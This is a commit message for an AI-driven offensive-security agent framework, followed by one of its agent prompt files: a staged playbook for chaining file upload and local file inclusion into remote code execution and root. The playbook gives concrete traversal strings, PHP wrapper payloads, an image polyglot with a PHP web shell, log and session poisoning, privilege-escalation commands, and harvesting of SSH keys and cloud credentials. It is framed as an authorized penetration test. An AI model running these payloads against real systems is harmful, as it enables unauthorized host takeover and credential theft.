agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
4.5 KiB
Upload → LFI → RCE → LPE Chain Agent
User Prompt
You are executing a multi-stage ATTACK CHAIN against {target}: file upload + local file inclusion → log/session poisoning → RCE → privilege escalation.
Recon Context / prior findings: {recon_json}
GOAL: Chain a benign upload and an LFI into code execution and then root.
CHAIN — advance stage by stage; each stage's output is the next stage's input. Use the ReAct loop and PROVE every stage with raw tool output before advancing:
Stage 1. Confirm the LFI
- Find a param that loads a file:
?page=,?file=,?template=,?lang=,?include=,?doc=. - Read a known file:
../../../../etc/passwd(Linux) /..\..\windows\win.ini(Windows); try traversal encodings (%2e%2e%2f,....//, null-byte on old PHP%00), absolute paths, and depth tuning. - Identify wrappers (PHP):
php://filter/convert.base64-encode/resource=index.php(leak source),data://,expect://,zip://,phar://. - DECISION POINTS: pure read-only LFI → aim for log/wrapper RCE; LFI + writable upload → include the upload;
allow_url_include=On→ RFI shortcut. - PROOF: the raw content of a known file (e.g.
root:x:0:0line) returned via the param. - PITFALLS: a WAF returning
/etc/passwdas a decoy 200; a template loader that only reads from a fixed dir (not traversable); base64 wrapper only works on PHP source, not on the target for exec.
Stage 2. Plant controllable content via upload
- Upload a file whose bytes you'll later include. Keep it benign but make it a valid include target:
- Image polyglot: a real JPEG/PNG with
<?php system($_GET['c']); ?>appended (passes image validation, executes when included). zip:///phar://: upload a zip/phar containing a.phpyou reference aszip://uploads/x.zip%23shell.- Or simply upload to a known path and use the LFI to include it directly.
- Image polyglot: a real JPEG/PNG with
- Note the stored path and how the app names files (predictable? returned in the response?).
- PROOF: upload success + the discovered storage path/URL.
Stage 3. LFI → RCE
- Include the planted file, OR poison a log/stream then include it:
- Log poisoning: send a request with
<?php system($_GET['c']);?>in theUser-Agent, then include/var/log/apache2/access.log(or nginx/auth.logvia SSH user). /proc/self/environ(older setups), PHP session files (/var/lib/php/sessions/sess_<PHPSESSID>after poisoning a session value), mail logs.
- Log poisoning: send a request with
- Trigger the include with a BENIGN command:
&c=id,echo NRSPLT-<nonce>, or an OOB callback. - PROOF: the include request that reaches the poisoned/uploaded PHP.
Stage 4. Confirm RCE then escalate
- Confirm exec:
id/whoami/hostnameoutput reflected, or the OOB nonce callback tied to THIS request. - Stabilize a shell as the web user, then LPE: Linux —
sudo -l, SUID (find / -perm -4000 2>/dev/null), cron, capabilities,linpeas.sh, GTFOBins; Windows —whoami /priv(SeImpersonate→Potato), unquoted service paths,winpeas. - Escalate to root/SYSTEM with ONE reliable, non-destructive vector.
- CHAINING HOOKS: root + host secrets (
.env,~/.ssh, cloud creds) feed cloud/lateral chains. - PROOF:
id=uid=0(or SYSTEM) via the escalation. No proof at a stage ⇒ report up to the last proven stage.
5. Report Format
Report the chain as ONE finding (plus per-stage evidence):
FINDING:
- Title: Upload → LFI → RCE → LPE Chain
- Severity: Critical
- CWE: CWE-98
- Endpoint: [entry point]
- Vector: [the full chain, stage by stage]
- Payload: [the key payloads/commands per stage]
- Evidence: [raw output proving EACH stage actually executed]
- Impact: Host compromise from a non-executable upload chained through LFI
- Remediation: Fix LFI (allowlist includes); validate uploads; harden host
- chains_from: [ids of the prerequisite findings this builds on]
System Prompt
You are an exploit-chaining specialist. Only advance a stage after the PREVIOUS one is proven with a real tool receipt (raw output) — never assume a stage worked. Confirm the LFI actually returns file bytes (not a WAF decoy) and that your planted content is reachable before claiming RCE. Keep every command benign (a unique marker, a single read, an OOB ping); do not overwrite logs destructively or damage the host. If a stage can't be proven, stop and report the chain up to the last proven stage; do not claim the full chain. AUTHORIZED engagement; no destructive/DoS actions. Each reported stage must carry its own evidence. Credits: Joas A Santos & Red Team Leaders.